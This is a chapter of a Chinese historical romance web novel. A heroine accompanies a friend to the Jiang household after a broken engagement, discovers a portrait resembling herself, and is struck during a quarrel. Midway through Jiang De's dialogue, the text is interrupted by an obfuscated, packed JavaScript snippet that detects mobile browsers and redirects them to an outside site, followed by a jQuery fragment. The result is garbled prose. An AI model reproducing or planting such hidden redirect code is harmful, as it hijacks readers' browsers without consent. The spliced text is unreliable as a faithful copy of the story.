沈葶月愣怔:“什么?被江家退婚……清清,你没说错吧?”
陆珍是陆家二房嫡长女,本就是尚书嫡女,又有镇国公当伯伯,永宁长公主当伯母,还能被退婚?
“路上再说,你快随我去江家去接五姐姐!”陆清急得快哭了,拉着她的手便朝外走,等两人上了马车,陆清这才断断续续把事情讲清楚。
原来陆珍今日盛装打扮,是去跟她的未婚夫江廷远游湖赏景,可上了船后江廷远吞吞吐吐竟说要退婚,另娶孙家嫡女孙明玉。
陆珍又惊又气,当场差点哭晕厥过去。
江廷远担心陆珍出事,这才道出实情,原来十日前孙家遭到回鹘细作报复,整个将军府三十六口人命全部灭门,回鹘人更是一把大火烧了孙家,大理寺和京兆府赶到时,孙府已是一片废墟,只有暗室内被孙将军藏好的孙家娘子还活着。
这孙娘子幼年曾与江太师府有过口头娃娃亲约定,可后来江二和陆珍走得近,两人互生情愫,与孙家的事便也作罢。
如今孙家满门惨死,只剩孙明玉一人,圣人闻其遭遇十分怜悯,便将孙明玉指婚给江二公子。
陆珍和江二公子自幼青梅竹马,两家的婚事早就定了,眼看着如今好事将近,却横生事故。
沈葶月越听心越凉,她没想到世道还能这样。
圣人若怜悯可以将那位孙家娘子养在宫里,赐以郡主的封号来日再许姻缘,这样随意的一道圣旨便生生拆散一对有情人。
她愈发感觉到了皇权至高无上,怪不得人人都想去权利的顶峰,就连陆家这样显赫的门第,这婚事也是说丢就丢了。
沈葶月脑海里不断想着这事的后果,没注意到一旁的陆清。
陆清与她站的近,轻易的就看见沈葶月脖颈间那一团暧昧的红晕。
她清眸微凝,顿时回忆起沈姐姐下楼时惊慌失措的神情。
楼上一定有男人,那个人也不是大哥哥,不然姐姐不会这么慌张。
不是大哥,那便是四哥了。
孙家灭门案的事是四哥亲手结的案,孙娘子也是大理寺救下的,她刚刚在楼下说的这么大声,以四哥对沈姐姐的关注,肯定能听得见。
若想让四哥和沈姐姐关系再进展些,那待会儿她可要玩的再大点。
马车一路疾驰,一炷香的功夫,便稳稳停在了太师府前。
沈葶月掀开车帘,眼前朱漆乌檐,楼瓦毓秀,两座石狮恢弘大气,古朴森严,这府邸的规模竟与那镇国公府也不相上下,怪不得江家敢得罪陆家。
不然就算是圣人赐婚,江家也要到陆家上门赔罪的,可江家却选择让两个小辈私下解决,完全没有出面的意思,可看其心思轻慢,完全没把陆珍姐姐放在眼里。
陆清自报家门,门童听到是陆家的顿时不敢怠慢,他们江家如今个个都怕陆家人找上门,毕竟这事是自家理亏。
下人将陆清和沈葶月带到了二进院的花厅便告退了。
沈葶月有心想问,可他只是领路的下人,应该也不懂。
不多时便有两个婢女躬身行礼进来上茶水和点心。
陆清像是找到了救命稻草般,抓着那婢女的袖子问:“你家大娘子呢?”
婢子有些慌,也想不到这陆家六娘子怎的这般冒失,含糊道:“大娘子午睡后正起身更衣,还请两位娘子稍等片刻。”
说完,那婢子挣脱开陆清的手,匆忙出去了。
陆清和沈葶月便只能继续等。
又过了一个时辰,两人杯中苦褐色的茶水都凉透了,花厅外也不见个人影。
陆清起身踱步,素来冷淡的脸也是染上了愠怒的神色,她道:“沈姐姐,咱们不能就这么干等着,江家这是故意晾着咱们。”
沈葶月安抚她:“可不等着,我们也不能随意走动,这毕竟是别人的府邸,姐姐你的一言一行代表着陆家的名声,咱们还是再等等吧。其实,这府里这么安静,我觉得陆珍姐姐应该已经离开了。”
沈葶月觉得有些反常,陆清的性子素来沉默,平日里和陆珍在一起也没多亲近。何况她听姨母说,二房主母随氏对陆清的亲娘柳小娘动辄打骂,陆珍如今出事,为何陆清会这般紧张?
更漏落在了申时,眼看着天就要黑了。
陆清眸色坚定:“沈妹妹你去东厢找,我去西厢,若还没有人出来,我再想办法。”
说完陆清便急忙朝西厢走去。
沈葶月在人家的地界儿不好随意走动,可陆清吩咐下来,她也不能只顾着自己,她小脸微凝,拎着裙摆朝东厢走去。
东厢不大,绕过屏风便可见一红木八仙桌并着一对棕木嵌玉交椅,上边挂着名贵字画,能看出主人喜好风雅,左边用了一侧稍窄的仙鹤延年屏风隔出了一间书房,沈葶月便知这可能是江大人看书公务的地方。
她见里边没人,正准备退出去时却被书房西侧墙面上挂着的一幅画吸引。
沈葶月忍不住走近了几步,美眸渐渐收缩,忍不住吸气。
那是一幅画闺中女子的画像。
飞仙髻,远山黛,一双杏眸含烟染雾,顾盼生辉,青碧色的衣裙将她的身形衬托得窈窕纤细,远而望之,灼若芙蕖出渌波。
她惊叹的不是这女子多么貌美,而是与她,几乎是一个模子刻出来的。
似乎年长她几岁,可又似闺中未出阁的年纪。
这人是谁?
为何会出现在江大人的书房中,难不成是他女儿?可江家只有三位嫡子,江大公子早已成婚……那会是谁?难不成江夫人闺中时的画像?
沈葶月思来想去,只有这个结果。
她窥看了人家的私隐,有些心虚,顿时退了出去,可临出门时撞到一个男人。
“嘶。”她忍不住捂着发酸的鼻尖,倒退了几步。
来人却在瞥见沈葶月容貌时,愣在原地。
沈葶月见他年逾四十,方脸端正,看着像个为官做宰的大人,可人家又没有自报姓名,万一是来府中做客的呢?
她匆匆行礼后便跑了出去,没注意到那男人站在屋内,朝她投来如毒蛇攀附的目光。
少女走后,男人走到画像前驻足良久,食指轻抚了抚她的眉眼,意犹未尽。
难怪有故人之姿,原来是故人之子。
外面门声响动,江家大公子江世疏走进来,弯身恭敬道:“父亲,您找我。”
江德道:“今夜你入宫去找一趟靖王,就说他一直所寻的人有下落了。”
江世疏不解:“敢问父亲,靖王殿下所寻何人?”
江德收回目光,睨向窗外,讲起了故事:“当年长安有一世家,家主和夫人在一场大战中死去,在京的九族也皆被私下夷个干净,可殿下总觉得还有漏网之鱼,命我暗中寻找,果不其然,殿下猜的没错。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424961|169121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
今夜你去了宫里,靖王会告诉你接下来怎么做。”
江世疏颔首:“儿子明白,儿子告退。”
他不需明白,不需了解的太多,他只要执行父亲的命令,做他手中最出色的匕首。
也许这样,或许他才能对二弟少点关注,多疼自己一些吧。
——
这边,沈葶月刚跑到院子便听见一阵噼里啪啦碎瓷器的声音,紧接着便见陆清从西厢走出来,边走边大声骂:“你们把我姐姐藏哪去了?你们江家如此待我姐姐,是何居心!江廷远呢,他这缩头乌龟,我倒要看看这负心汉要怎么和我陆家解释!”
她的声音很大,不多时这院子便围了一堆下人,再然后一堆仆妇簇拥着一位贵妇人从三门跨院那走了进来。
来人是如今府中长房嫡长媳,管家主事的大娘子谢瑶,人人都尊称她一句江夫人。
江夫人头戴嵌红宝石金饰,华服艳丽,打扮极为周整贵气,半点看不出理亏的样子,那张保养极好的脸此时此刻看着,略刻薄了些。
沈葶月顿时发觉,江大人房中画像不是江夫人,那女子就算成婚了,丰腴了,也不会变成这般。
“嚷嚷什么?”
江夫人站定后对着陆清不善道:“赐婚的恩旨是宫里圣人的意思,你们陆家动辄到我们江府闹什么闹!你的家姐早就走了,别以为仗着镇国公就真以为自己行了,不过是三品,我江家退婚又如何?”
江夫人话说的刻薄,也是实在被江家姐妹闹的。前脚走了个苦大仇深的陆五娘子,后脚又来了个不知天高地厚的陆六娘子,真真是磨人。
孙家没出事时,江夫人和江大公子虽然对陆珍不大看得上,可二弟弟喜欢,终究也没多说什么。如今圣人金口玉言,那么她也无需再忍。
陆清不依不饶道:“江夫人真以为自己捡到个宝了,那孙家娘子无依无靠,又无父母族人,不然圣人怎么会选你们家赐婚呢!江廷远出身书香门第,却连个举人都没考中,你以为我姐姐稀罕呢?也就你们江家把他当个宝贝疙瘩护着,啧啧。”
沈葶月美眸瞪圆,下意识的拉着陆清。
陆清今日怎么这么敢说,难不成中邪了?
江夫人哪被一个小辈这样臊过,一时气急,抡起袖子上前便欲打了陆清一个巴掌。
四周的丫鬟顿时簇拥上来,人挤着人,沈葶月一瞬错愕,耳边听见了陆清小声道沈姐姐我怕,再然后不知道是谁推了她一下,江夫人的巴掌落在了她脸上,振聋发聩。
沈葶月毫无防备,被江夫人打翻在地。手掌和手臂都因春衫太薄蹭破了皮,猩红的血道看着触目惊心,她觉得耳边嗡嗡的,像隔音了般,随后便是传来一阵火辣辣的刺痛,疼得她忍不住蹙眉,眼前一片模糊。
周遭很乱,好像陆清同那些婆子扭打在一起。
沈葶月脸也疼,手臂也疼,挣扎着起不了身,忽而一个肥胖笨重的婆子踩到她的脚,绊了一下,沈葶月一瞬觉得眼前一黑,全是金色的星星,好不容易能视物时,便瞧见那婆子砸向自己的庞大身影,她来不及思考,绝望的闭上眼——
“哎呦!”一声凄厉的喊声,随即“咚”的声,一坨肉重重墩在地上的闷声。
沈葶月仍旧紧紧闭眼,预想中的疼痛没有传来,肩膀,腰际多了抹沁人的凉润,鼻间闻到了一股淡淡的乌木沉香。
她好像被人拦腰抱起来了。